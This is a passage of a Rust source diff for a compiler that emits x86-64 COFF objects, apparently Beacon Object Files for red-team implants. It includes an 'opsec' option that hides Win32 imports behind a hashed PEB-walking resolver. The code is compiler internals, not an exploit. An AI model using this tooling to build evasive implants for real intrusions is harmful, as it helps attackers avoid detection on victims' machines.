ty = self.struct_type_of(base)?; + let key = ty.trim_end_matches('*'); + let layout = self.struct_layouts.get(key) + .ok_or_else(|| format!("type `{ty}` is not a struct"))?; + let f = layout.fields.get(field) + .ok_or_else(|| format!("struct `{ty}` has no field `{field}`"))?; + Ok((f.offset, f.ty.clone(), f.size)) + } + + fn struct_type_of(&self, base: &Expr) -> Result { + match base { + Expr::Var(name) => { + if let Some(t) = self.local_types.get(name) { return Ok(t.clone()); } + let idx = self.globals_idx.get(name) + .ok_or_else(|| format!("undefined variable: {name}"))?; + Ok(self.globals[*idx].ty.clone()) + } + Expr::Field { base: inner_base, field } => { + let (_, inner_ty, _) = self.resolve_field(inner_base, field)?; + Ok(inner_ty) + } + Expr::Cast { ty, .. } => Ok(ty.clone()), + Expr::Unary { op, operand } if op == "*" => { + // *p's type is the pointee of p's type. + let t = self.expr_type(operand); + Ok(pointee(&t).map(String::from).unwrap_or(t)) + } + _ => Err( + "field access requires a struct global, struct local, struct cast, \ + deref of a struct pointer, or a nested field thereof".into() + ), + } + } + + fn expr_type(&self, e: &Expr) -> String { + match e { + Expr::Int(_) => "int".into(), + Expr::Bool(_) => "bool".into(), + Expr::Str(_) => "str".into(), + Expr::Var(name) => { + if let Some(t) = self.local_types.get(name) { return t.clone(); } + if let Some(&idx) = self.globals_idx.get(name) { + return self.globals[idx].ty.clone(); + } + "int".into() + } + Expr::Cast { ty, .. } => ty.clone(), + Expr::Field { base, field } => self + .resolve_field(base, field) + .map(|(_, t, _)| t) + .unwrap_or_else(|_| "int".into()), + Expr::Unary { op, operand } if op == "*" => { + let t = self.expr_type(operand); + pointee(&t).map(String::from).unwrap_or(t) + } + Expr::Unary { op, operand } if op == "&" => { + format!("{}*", self.expr_type(operand)) + } + Expr::Index { base, .. } => { + // base[i] has the element type of base (T* to T, T[N] to T). + // Falls back to int if we can't infer, mirroring deref. + let t = self.expr_type(base); + Self::element_type(&t).unwrap_or_else(|| "int".into()) + } + Expr::SizeOf { .. } => "u64".into(), + Expr::StructLit { ty, .. } => ty.clone(), + _ => "int".into(), + } + } + + fn emit_load_width(&mut self, pointee_ty: &str, base: Reg64) { + match self.type_size(pointee_ty) { + 1 => self.enc.movzx_r64_byte_r64disp(Reg64::Rax, base, 0), + 2 => self.enc.movzx_r64_word_r64disp(Reg64::Rax, base, 0), + 4 => self.enc.mov_r32_r64disp(Reg64::Rax, base, 0), + _ => self.enc.mov_r64_r64disp(Reg64::Rax, base, 0), + } + } + + /// Mirror of [emit_load_width] for stores. Writes the low N bytes of + /// rax to [base + 0], where N comes from type_size. + fn emit_store_width(&mut self, pointee_ty: &str, base: Reg64) { + match self.type_size(pointee_ty) { + 1 => self.enc.mov_byte_r64disp_r8(base, 0, Reg64::Rax), + 2 => self.enc.mov_word_r64disp_r16(base, 0, Reg64::Rax), + 4 => self.enc.mov_dword_r64disp_r32(base, 0, Reg64::Rax), + _ => self.enc.mov_r64disp_r64(base, 0, Reg64::Rax), + } + } + + fn gen_addr(&mut self, base: &Expr) -> Result<(), String> { + match base { + Expr::Var(name) => { + if let Some(&off) = self.locals.get(name) { + let ty = self.local_types.get(name).cloned().unwrap_or_default(); + if self.struct_layouts.contains_key(&ty) { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + return Ok(()); + } + if is_pointer_type(&ty) { + self.enc.mov_r64_rbp_disp(Reg64::Rax, off); + return Ok(()); + } + return Err(format!( + "cannot use non-pointer scalar local `{name}` (type `{ty}`) \ + as a struct base" + )); + } + if let Some(&idx) = self.globals_idx.get(name) { + let g = &self.globals[idx]; + if self.struct_layouts.contains_key(&g.ty) { + self.enc.lea_r64_data(Reg64::Rax, &g.label); + return Ok(()); + } + if is_pointer_type(&g.ty) { + self.enc.mov_r64_data(Reg64::Rax, &g.label); + return Ok(()); + } + return Err(format!( + "cannot use non-pointer scalar global `{name}` (type `{}`) \ + as a struct base", + g.ty + )); + } + Err(format!("undefined variable: {name}")) + } + Expr::Field { base: inner_base, field } => { + let (off, _, _) = self.resolve_field(inner_base, field)?; + self.gen_addr(inner_base)?; + if off != 0 { + self.enc.add_r64_imm32(Reg64::Rax, off); + } + Ok(()) + } + Expr::Cast { ty, expr } if self.struct_layouts.contains_key(ty.trim_end_matches('*')) => { + self.gen_expr(expr) + } + Expr::Unary { op, operand } if op == "*" => { + // (*p).field - p's value is already the struct base. + self.gen_expr(operand) + } + _ => Err( + "address-of supported only on globals, struct/pointer locals, \ + struct casts, deref'd pointers, or fields thereof".into() + ), + } + } + + fn gen_addr_of(&mut self, operand: &Expr) -> Result<(), String> { + match operand { + Expr::Var(name) => { + if let Some(&off) = self.locals.get(name) { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + return Ok(()); + } + if let Some(&idx) = self.globals_idx.get(name) { + let label = self.globals[idx].label.clone(); + self.enc.lea_r64_data(Reg64::Rax, &label); + return Ok(()); + } + Err(format!("cannot take address of `{name}` - no such variable")) + } + Expr::Field { base, field } => { + let (off, _, _) = self.resolve_field(base, field)?; + self.gen_addr(base)?; + if off != 0 { + self.enc.add_r64_imm32(Reg64::Rax, off); + } + Ok(()) + } + Expr::Unary { op, operand: inner } if op == "*" => { + // &*p == p - the deref cancels the address-of. + self.gen_expr(inner) + } + _ => Err("`&` requires a variable, field, or deref expression".into()), + } + } + + fn gen_str_call(&mut self, fname: &str, args: &[Expr]) -> Result<(), String> { + match fname { + "format" => self.gen_str_format(args), + _ => Err(format!("unknown intrinsic: str.{fname}")), + } + } + + fn gen_str_format(&mut self, args: &[Expr]) -> Result<(), String> { + let template = match args.first() { + Some(Expr::Str(s)) => s.clone(), + _ => return Err( + "str.format: first argument must be a string literal template".into() + ), + }; + let user_args = &args[1..]; + + let printf_fmt = self.translate_format_template(&template, user_args)?; + + let n = self.label_counter; + self.label_counter += 1; + let fmt_label = format!("__fmt_tpl_{n}"); + let buf_label = format!("__fmt_buf_{n}"); + self.enc.add_string(&fmt_label, &printf_fmt); + self.enc.add_bss(&buf_label, FMT_BUF_SIZE); + + // wsprintfA's signature is (buf, fmt, ...). Use the standard + // arg-lowering path with two placeholder leading args; overwrite + // rcx/rdx with the real addresses after gen_call_args is done. + let mut call_args: Vec = vec![Expr::Int(0), Expr::Int(0)]; + call_args.extend_from_slice(user_args); + let cleanup = self.gen_call_args(&call_args)?; + self.enc.lea_r64_data(Reg64::Rcx, &buf_label); + self.enc.lea_r64_data(Reg64::Rdx, &fmt_label); + + if self.kind.is_object() { + if self.opsec.hashed_imports { + // Same routing as the BOF-mode Win32 call path: + // drop the __imp_USER32$wsprintfA external and + // resolve via the standard PEB-walking resolver. + let dll = "user32.dll".to_string(); + let func = "wsprintfA".to_string(); + let slot = resolver::slot_label(&dll, &func); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.clone(), + func: func.clone(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + self.enc.call_indirect_data(&slot); + } else { + self.enc.call_extern("__imp_USER32$wsprintfA"); + } + } else { + let dll = "user32.dll".to_string(); + let func = "wsprintfA".to_string(); + let slot = resolver::slot_label(&dll, &func); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.clone(), + func: func.clone(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + self.enc.call_indirect_data(&slot); + } + if cleanup > 0 { + self.enc.add_r64_imm32(Reg64::Rsp, cleanup); + } + + // wsprintfA returns the number of chars written in rax; the + // caller doesn't want that - they want the buffer pointer. + self.enc.lea_r64_data(Reg64::Rax, &buf_label); + Ok(()) + } + + fn translate_format_template( + &self, + template: &str, + user_args: &[Expr], + ) -> Result { + let mut out = String::new(); + let mut iter = template.chars().peekable(); + let mut arg_idx = 0usize; + while let Some(c) = iter.next() { + match c { + '{' if iter.peek() == Some(&'{') => { iter.next(); out.push('{'); } + '}' if iter.peek() == Some(&'}') => { iter.next(); out.push('}'); } + '{' => { + let mut spec = String::new(); + let mut closed = false; + while let Some(&c) = iter.peek() { + if c == '}' { iter.next(); closed = true; break; } + spec.push(c); + iter.next(); + } + if !closed { + return Err( + "str.format: unterminated `{` in template (use `{{` for a literal brace)".into() + ); + } + if arg_idx >= user_args.len() { + return Err(format!( + "str.format: template references argument {} but only {} were given", + arg_idx, user_args.len() + )); + } + let ty = self.expr_type(&user_args[arg_idx]); + out.push_str(&printf_spec_for(&spec, &ty)?); + arg_idx += 1; + } + '}' => return Err( + "str.format: stray `}` in template - use `}}` to escape a literal `}`".into() + ), + // wsprintfA treats % as the start of a format specifier; + // double any literal % so it renders verbatim. + '%' => out.push_str("%%"), + c => out.push(c), + } + } + if arg_idx != user_args.len() { + return Err(format!( + "str.format: template has {arg_idx} placeholders but {} arguments were provided", + user_args.len() + )); + } + Ok(out) + } + + fn gen_mem_call(&mut self, fname: &str, args: &[Expr]) -> Result<(), String> { + if fname == "alloc" { + if args.len() != 1 { return Err("mem.alloc takes exactly 1 arg".into()); } + self.gen_expr(&args[0])?; + if self.kind.is_object() { + self.gen_bof_heap_alloc()?; + } else if matches!(self.gc_mode, GcMode::Manual) { + self.gen_standard_heap_alloc()?; + } else { + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + macros::emit_gc_alloc_call(&mut self.enc); + } + return Ok(()); + } + if fname == "free" { + if args.len() != 1 { return Err("mem.free takes exactly 1 arg".into()); } + let manual_world = self.kind.is_object() + || matches!(self.gc_mode, GcMode::Manual); + if !manual_world { + return Err(format!( + "mem.free is only valid in BOF mode or with `--gc=manual` \ + (current --gc=auto/on uses the embedded GC which doesn't \ + need explicit frees). Either drop the call or rebuild \ + with `--gc=manual`." + )); + } + self.gen_expr(&args[0])?; + self.gen_heap_free()?; + return Ok(()); + } + // mem.collect - explicit GC trigger. Useful for tests and for + // operators that want a deterministic pause point (e.g. before + // sleep mask). Returns 0; pulls in the GC runtime same as alloc. + if fname == "collect" { + if !args.is_empty() { return Err("mem.collect takes no args".into()); } + if self.kind.is_object() { + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + } else { + self.enc.call_label("__gc_collect"); + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + } + return Ok(()); + } + + let expected: usize = match fname { + "zero" => 2, + "set" | "copy" | "cmp" => 3, + _ => return Err(format!("unknown intrinsic: mem.{fname}")), + }; + if args.len() != expected { + return Err(format!("mem.{fname} takes exactly {expected} args")); + } + for a in args { + self.gen_expr(a)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + } + let arg_regs = [Reg64::Rcx, Reg64::Rdx, Reg64::R8, Reg64::R9]; + for i in (0..args.len()).rev() { + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(arg_regs[i]); + } + + match fname { + "set" => { + // mem.set -> dst + self.enc.push_r64(Reg64::Rdi); // save non-volatile + self.enc.mov_r64_r64(Reg64::R9, Reg64::Rcx); // preserve dst for return + self.enc.mov_r64_r64(Reg64::Rdi, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rax, Reg64::Rdx); // al = byte + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::R8); // rcx = n + self.enc.cld(); + self.enc.rep_stosb(); + self.enc.pop_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rax, Reg64::R9); + } + "zero" => { + // mem.zero -> dst + self.enc.push_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::R9, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rdi, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rdx); + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.cld(); + self.enc.rep_stosb(); + self.enc.pop_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rax, Reg64::R9); + } + "copy" => { + // mem.copy -> dst + self.enc.push_r64(Reg64::Rdi); + self.enc.push_r64(Reg64::Rsi); + self.enc.mov_r64_r64(Reg64::R9, Reg64::Rcx); // preserve dst for return + self.enc.mov_r64_r64(Reg64::Rdi, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rsi, Reg64::Rdx); + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::R8); + self.enc.cld(); + self.enc.rep_movsb(); + self.enc.pop_r64(Reg64::Rsi); + self.enc.pop_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rax, Reg64::R9); + } + "cmp" => { + // mem.cmp -> 0 if equal else 1 + self.enc.push_r64(Reg64::Rdi); + self.enc.push_r64(Reg64::Rsi); + self.enc.mov_r64_r64(Reg64::Rsi, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rdi, Reg64::Rdx); + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::R8); + self.enc.test_r64_r64(Reg64::Rcx, Reg64::Rcx); + self.enc.cld(); + self.enc.repe_cmpsb(); + // CRITICAL: do NOT clobber ZF before reading it with setnz. + // pop_r64 leaves flags alone, but xor / mov_r64_imm do not. + // Read ZF first into al, THEN zero-extend. + self.enc.pop_r64(Reg64::Rsi); + self.enc.pop_r64(Reg64::Rdi); + // setnz al = 0F 95 C0 - al = 0 if equal (ZF=1), 1 if mismatch + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0x95); + self.enc.emit_raw(0xC0); + // movzx eax, al = 0F B6 C0 - implicit zero-extension to rax. + // The 32-bit form is 3 bytes (no REX) vs the 4-byte 64-bit + // form 48 0F B6 C0; identical result. + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xB6); + self.enc.emit_raw(0xC0); + } + _ => unreachable!(), + } + Ok(()) + } + + fn gen_bof_heap_alloc(&mut self) -> Result<(), String> { + // Build via the unified Win32 import helper so this path + // works under both BOF mode (external __imp_*) and + // standard mode with --gc=manual (resolver-filled slot). + let get_heap = self.ensure_win32_import("kernel32.dll", "GetProcessHeap"); + let heap_alloc = self.ensure_win32_import("kernel32.dll", "HeapAlloc"); + + self.enc.push_r64(Reg64::R12); + self.enc.mov_r64_r64(Reg64::R12, Reg64::Rax); + + self.enc.sub_r64_imm32(Reg64::Rsp, 0x28); + + // rax = GetProcessHeap - zero-arg, returns HANDLE in rax. + self.emit_win32_call(&get_heap); + + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.mov_r64_imm64(Reg64::Rdx, 0x8); + self.enc.mov_r64_r64(Reg64::R8, Reg64::R12); + + self.emit_win32_call(&heap_alloc); + + // Tear down. rsp += 0x28 reverses the shadow-space sub; pop r12 + // restores the caller's saved value AND realigns rsp. + self.enc.add_r64_imm32(Reg64::Rsp, 0x28); + self.enc.pop_r64(Reg64::R12); + + // rax = allocated pointer (or NULL on OOM). Match the GC's + // behaviour: caller checks rax == 0 for failure. + Ok(()) + } + + fn gen_standard_heap_alloc(&mut self) -> Result<(), String> { + // The unified helper picks the right path. In standard mode + // it always returns Slot since there's no Beacon + // loader to fill __imp_* externals. + self.gen_bof_heap_alloc() + } + + fn gen_heap_free(&mut self) -> Result<(), String> { + let get_heap = self.ensure_win32_import("kernel32.dll", "GetProcessHeap"); + let heap_free = self.ensure_win32_import("kernel32.dll", "HeapFree"); + + // Save the pointer (rax) into r12 across GetProcessHeap. + self.enc.push_r64(Reg64::R12); + self.enc.mov_r64_r64(Reg64::R12, Reg64::Rax); + + // 16-aligned rsp at every sub-call site (push knocked rsp to + // 8-mod-16; 0x28 brings it back to 0-mod-16). + self.enc.sub_r64_imm32(Reg64::Rsp, 0x28); + + // rax = GetProcessHeap + self.emit_win32_call(&get_heap); + + // HeapFree + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.mov_r64_imm64(Reg64::Rdx, 0); + self.enc.mov_r64_r64(Reg64::R8, Reg64::R12); + + self.emit_win32_call(&heap_free); + + self.enc.add_r64_imm32(Reg64::Rsp, 0x28); + self.enc.pop_r64(Reg64::R12); + + // HeapFree returns BOOL (0 = failed, non-zero = success). We + // leave it in rax so callers that care can check. + Ok(()) + } + + fn gen_shared_call(&mut self, fname: &str, args: &[Expr]) -> Result<(), String> { + for a in args { + self.gen_expr(a)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + } + let arg_regs = [Reg64::Rcx, Reg64::Rdx, Reg64::R8, Reg64::R9]; + for i in (0..args.len()).rev() { + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(arg_regs[i]); + } + match fname { + "get" => self.enc.call_label(shared::FN_GET), + "put" => self.enc.call_label(shared::FN_PUT), + _ => return Err(format!("unknown intrinsic: shared.{fname}")), + } + Ok(()) + } +} + +fn literal_int_value(e: &Expr) -> Option { + match e { + Expr::Int(n) => Some(*n), + Expr::Unary { op, operand } if op == "-" => { + if let Expr::Int(n) = operand.as_ref() { Some(n.wrapping_neg()) } + else { None } + } + _ => None, + } +} + +fn narrow_int_literal(ty: &str, n: i64) -> Option { + match ty { + "u8" => Some((n as u8) as i64), + "u16" => Some((n as u16) as i64), + "u32" => Some((n as u32) as i64), + "i8" => Some((n as i8) as i64), + "i16" => Some((n as i16) as i64), + "i32" => Some((n as i32) as i64), + // u64/i64/int are full-width; no narrowing needed. Skip the fold so + // the regular gen_expr path runs. + _ => None, + } +} + +fn normalize_dll_name(ns: &str) -> String { + let lower = ns.to_ascii_lowercase(); + if lower.ends_with(".dll") { lower } else { format!("{lower}.dll") } +} + +fn is_beacon_api(fname: &str) -> bool { + fname.starts_with("Beacon") +} + + +fn program_uses bool>(prog: &Program, pred: F) -> bool { + if prog.functions.iter().any(|f| block_any_expr(&f.body, &pred)) { + return true; + } + prog.statics.iter().any(|s| { + s.init.as_ref().map_or(false, |e| expr_any_subexpr(e, &pred)) + }) +} + +fn block_any_expr bool>(stmts: &[Stmt], pred: &F) -> bool { + stmts.iter().any(|s| stmt_any_expr(s, pred)) +} + +fn stmt_any_expr bool>(s: &Stmt, pred: &F) -> bool { + match s { + Stmt::Var { value, .. } => value.as_ref().map_or(false, |e| expr_any_subexpr(e, pred)), + Stmt::Expr { value: e, .. } => expr_any_subexpr(e, pred), + Stmt::Ret { value: Some(e), .. } => expr_any_subexpr(e, pred), + Stmt::Ret { value: None, .. } => false, + Stmt::If { cond, then_body, else_body } => { + expr_any_subexpr(cond, pred) + || block_any_expr(then_body, pred) + || block_any_expr(else_body, pred) + } + Stmt::While { cond, body } => expr_any_subexpr(cond, pred) || block_any_expr(body, pred), + Stmt::For { init, cond, step, body } => { + init.as_ref().map_or(false, |i| stmt_any_expr(i, pred)) + || cond.as_ref().map_or(false, |c| expr_any_subexpr(c, pred)) + || step.as_ref().map_or(false, |s| stmt_any_expr(s, pred)) + || block_any_expr(body, pred) + } + Stmt::Try { body, handler, .. } => { + block_any_expr(body, pred) || block_any_expr(handler, pred) + } + Stmt::Raise { value, .. } => expr_any_subexpr(value, pred), + Stmt::Break | Stmt::Continue => false, + Stmt::Asm(_) => false, + } +} + +fn expr_any_subexpr bool>(e: &Expr, pred: &F) -> bool { + if pred(e) { return true; } + match e { + Expr::Call { args, .. } => args.iter().any(|a| expr_any_subexpr(a, pred)), + Expr::Binary { lhs, rhs, .. } => expr_any_subexpr(lhs, pred) || expr_any_subexpr(rhs, pred), + Expr::Unary { operand, .. } => expr_any_subexpr(operand, pred), + Expr::Assign { value, .. } => expr_any_subexpr(value, pred), + Expr::Field { base, .. } => expr_any_subexpr(base, pred), + Expr::FieldAssign { base, value, .. } => { + expr_any_subexpr(base, pred) || expr_any_subexpr(value, pred) + } + Expr::DerefAssign { ptr, value } => { + expr_any_subexpr(ptr, pred) || expr_any_subexpr(value, pred) + } + Expr::Index { base, index } => { + expr_any_subexpr(base, pred) || expr_any_subexpr(index, pred) + } + Expr::IndexAssign { base, index, value } => { + expr_any_subexpr(base, pred) + || expr_any_subexpr(index, pred) + || expr_any_subexpr(value, pred) + } + Expr::Cast { expr, .. } => expr_any_subexpr(expr, pred), + Expr::SizeOf { .. } => false, + Expr::StructLit { fields, .. } => { + fields.iter().any(|(_, e)| expr_any_subexpr(e, pred)) + } + Expr::Int(_) | Expr::Str(_) | Expr::Bool(_) | Expr::Var(_) => false, + } +} + +// Per-subsystem predicates. They examine an Expr in isolation; the walker +// above takes care of recursion. + +fn is_win32_call(e: &Expr) -> bool { + if let Expr::Call { ns, fname, .. } = e { + if !ns.is_empty() && !INTRINSIC_NAMESPACES.contains(&ns.as_str()) { + return true; + } + // str.format lowers to a User32.wsprintfA call, so it + // counts as a Win32 trigger for the resolver pre-scan. + if ns == "str" && fname == "format" { + return true; + } + } + false +} + +fn is_intrinsic(e: &Expr, want_ns: &str, want_fn: &str) -> bool { + matches!(e, Expr::Call { ns, fname, .. } if ns == want_ns && fname == want_fn) +} + +fn expr_first_span(e: &Expr) -> Option { + match e { + Expr::Call { span, .. } | Expr::StructLit { span, .. } => Some(*span), + Expr::Assign { value, .. } => expr_first_span(value), + Expr::FieldAssign { base, value, .. } => { + expr_first_span(base).or_else(|| expr_first_span(value)) + } + Expr::DerefAssign { ptr, value } => { + expr_first_span(ptr).or_else(|| expr_first_span(value)) + } + Expr::IndexAssign { base, index, value } => { + expr_first_span(base) + .or_else(|| expr_first_span(index)) + .or_else(|| expr_first_span(value)) + } + Expr::Unary { operand, .. } => expr_first_span(operand), + Expr::Binary { lhs, rhs, .. } => { + expr_first_span(lhs).or_else(|| expr_first_span(rhs)) + } + Expr::Field { base, .. } => expr_first_span(base), + Expr::Cast { expr, .. } => expr_first_span(expr), + Expr::Index { base, index } => { + expr_first_span(base).or_else(|| expr_first_span(index)) + } + Expr::Int(_) | Expr::Str(_) | Expr::Bool(_) + | Expr::Var(_) | Expr::SizeOf { .. } => None, + } +} + +fn stmts_first_span(stmts: &[Stmt]) -> Option { + stmts.iter().find_map(stmt_first_span) +} + +fn stmt_first_span(s: &Stmt) -> Option { + match s { + Stmt::Var { span, .. } | Stmt::Ret { span, .. } + | Stmt::Raise { span, .. } => Some(*span), + Stmt::Expr { span, value } => { + if !span.is_unknown() { Some(*span) } else { expr_first_span(value) } + } + Stmt::If { cond, then_body, else_body } => { + expr_first_span(cond) + .or_else(|| stmts_first_span(then_body)) + .or_else(|| stmts_first_span(else_body)) + } + Stmt::While { cond, body } => { + expr_first_span(cond).or_else(|| stmts_first_span(body)) + } + Stmt::For { init, cond, body, step } => { + init.as_deref().and_then(stmt_first_span) + .or_else(|| cond.as_ref().and_then(expr_first_span)) + .or_else(|| stmts_first_span(body)) + .or_else(|| step.as_deref().and_then(stmt_first_span)) + } + Stmt::Try { body, handler, .. } => { + stmts_first_span(body).or_else(|| stmts_first_span(handler)) + } + Stmt::Asm(lines) => lines.first().map(|l| Span::new(l.line, l.col)), + Stmt::Break | Stmt::Continue => None, + } +} + +fn stmt_breadcrumb(s: &Stmt) -> (Span, &'static str) { + let kind = match s { + Stmt::Var { .. } => "var", + Stmt::Ret { .. } => "ret", + Stmt::Raise { .. } => "raise", + Stmt::Expr { value: Expr::Call { .. }, .. } => "call", + Stmt::Expr { .. } => "expr", + Stmt::If { .. } => "if", + Stmt::While { .. } => "while", + Stmt::For { .. } => "for", + Stmt::Break => "break", + Stmt::Continue => "continue", + Stmt::Try { .. } => "try", + Stmt::Asm(_) => "asm", + }; + (stmt_first_span(s).unwrap_or_default(), kind) +} + +fn is_shared_call(e: &Expr) -> bool { + matches!(e, Expr::Call { ns, .. } if ns == "shared") +} + +pub enum Win32CallSite { + Extern(String), // `__imp_KERNEL32$AddVectoredExceptionHandler` + Slot(String), // resolver::slot_label() output +} + +/// Does any function in the program contain a try { ... } catch { ... }? +/// Driven the same way as program_uses but on the statement variants. +fn program_uses_try(prog: &Program) -> bool { + prog.functions.iter().any(|f| block_contains_try(&f.body)) +} + +fn block_contains_try(stmts: &[Stmt]) -> bool { + stmts.iter().any(stmt_contains_try) +} + +fn stmt_contains_try(s: &Stmt) -> bool { + match s { + Stmt::Try { .. } => true, + Stmt::If { then_body, else_body, .. } => { + block_contains_try(then_body) || block_contains_try(else_body) + } + Stmt::While { body, .. } => block_contains_try(body), + Stmt::For { init, body, step, .. } => { + init.as_ref().map_or(false, |i| stmt_contains_try(i)) + || block_contains_try(body) + || step.as_ref().map_or(false, |s| stmt_contains_try(s)) + } + _ => false, + } +} diff --git a/src/coff.rs b/src/coff.rs new file mode 100644 index 0000000..22c367f --- /dev/null +++ b/src/coff.rs @@ -0,0 +1,295 @@ + +use std::collections::HashMap; +use std::io::Write; + +// COFF constants. Spelled out locally so the emitter stays +// self-contained (the compiler crate doesn't need windows-sys). + +pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664; + +// Section characteristics. +pub const IMAGE_SCN_CNT_CODE: u32 = 0x0000_0020; +pub const IMAGE_SCN_CNT_INITIALIZED_DATA: u32 = 0x0000_0040; +pub const IMAGE_SCN_CNT_UNINITIALIZED_DATA: u32 = 0x0000_0080; +pub const IMAGE_SCN_ALIGN_1BYTES: u32 = 0x0010_0000; +pub const IMAGE_SCN_ALIGN_4BYTES: u32 = 0x0030_0000; +pub const IMAGE_SCN_ALIGN_8BYTES: u32 = 0x0040_0000; +pub const IMAGE_SCN_ALIGN_16BYTES: u32 = 0x0050_0000; +pub const IMAGE_SCN_MEM_EXECUTE: u32 = 0x2000_0000; +pub const IMAGE_SCN_MEM_READ: u32 = 0x4000_0000; +pub const IMAGE_SCN_MEM_WRITE: u32 = 0x8000_0000; + +pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2; +pub const IMAGE_SYM_CLASS_STATIC: u8 = 3; + +// 0x20 marks a function symbol (used for go). Aux records for +// function size aren't emitted in V1. +pub const IMAGE_SYM_TYPE_NULL: u16 = 0x00; +pub const IMAGE_SYM_DTYPE_FUNCTION: u16 = 0x20; + +// Relocation types for AMD64. +pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000; +pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001; +pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003; +pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004; + +// Public artifact: codegen builds a CoffObject and hands it to emit. +// Symbols are deduplicated; relocations index into symbols. + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum SymKind { + /// .text static. External only when the symbol is go. + TextStatic, + TextExtern, + DataStatic { section: SectionId }, + /// Loader-resolved: __imp_BeaconPrintf, __imp_USER32$MessageBoxA, ... + Undefined, +} + +/// Section number is 1-based in COFF (0 = undefined). Order here +/// matches the order sections get emitted into the file. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum SectionId { Text, Rdata, Data, Bss } + +#[derive(Debug, Clone)] +pub struct CoffSymbol { + pub name: String, + pub kind: SymKind, + /// Offset within the symbol's section. Ignored for Undefined. + pub value: u32, +} + +#[derive(Debug, Clone)] +pub struct CoffReloc { + pub at: u32, + pub sym: usize, + pub ty: u16, +} + +#[derive(Debug, Clone, Default)] +pub struct CoffSection { + pub bytes: Vec, + pub relocs: Vec, +} + +#[derive(Debug, Default)] +pub struct CoffObject { + pub text: CoffSection, + pub rdata: CoffSection, + pub data: CoffSection, + pub bss_size: u32, // .bss carries no raw bytes; just a size + pub symbols: Vec, +} + +impl CoffObject { + pub fn new() -> Self { Self::default() } + + /// Find-or-add a symbol; returns its index. Idempotent on name. + pub fn intern(&mut self, name: &str, kind: SymKind, value: u32) -> usize { + if let Some(i) = self.symbols.iter().position(|s| s.name == name) { + return i; + } + self.symbols.push(CoffSymbol { + name: name.to_string(), + kind, value, + }); + self.symbols.len() - 1 + } +} + +// Emitter. File layout: [file header | section headers | raw section +// bytes | per-section relocs | symbol table | string table]. +pub fn emit(obj: &CoffObject) -> Result, String> { + // .text is always present; other sections appear iff they have + // content. SectionId order is stable so prior symbol indices resolve. + let mut sections: Vec<(&'static str, u32, &CoffSection, SectionId, u32)> = Vec::new(); + + // .bss placeholder. Don't reuse another section here - the + // header writer reads body.relocs.len from it and a wrong + // placeholder makes the loader apply every reloc twice. + static EMPTY_SECTION: CoffSection = CoffSection { + bytes: Vec::new(), + relocs: Vec::new(), + }; + + sections.push(( + ".text", + IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_ALIGN_16BYTES, + &obj.text, + SectionId::Text, + 0, + )); + if !obj.rdata.bytes.is_empty() { + sections.push(( + ".rdata", + IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_ALIGN_8BYTES, + &obj.rdata, + SectionId::Rdata, + 0, + )); + } + if !obj.data.bytes.is_empty() { + sections.push(( + ".data", + IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_ALIGN_8BYTES, + &obj.data, + SectionId::Data, + 0, + )); + } + if obj.bss_size > 0 { + sections.push(( + ".bss", + IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_ALIGN_8BYTES, + &EMPTY_SECTION, + SectionId::Bss, + obj.bss_size, + )); + } + + // SectionId -> 1-based section number for the symbol table. + let mut sec_num: HashMap = HashMap::new(); + for (i, (_, _, _, id, _)) in sections.iter().enumerate() { + sec_num.insert(*id, (i as i16) + 1); + } + + // Compute offsets so section headers can point at them. + let header_size = 20; + let section_hdr_size = 40 * sections.len(); + let mut cursor = header_size + section_hdr_size; + + // Section raw data offsets. + let mut raw_offsets: Vec = Vec::with_capacity(sections.len()); + for (_, _, body, _, bss_size) in §ions { + if *bss_size > 0 { + raw_offsets.push(0); // 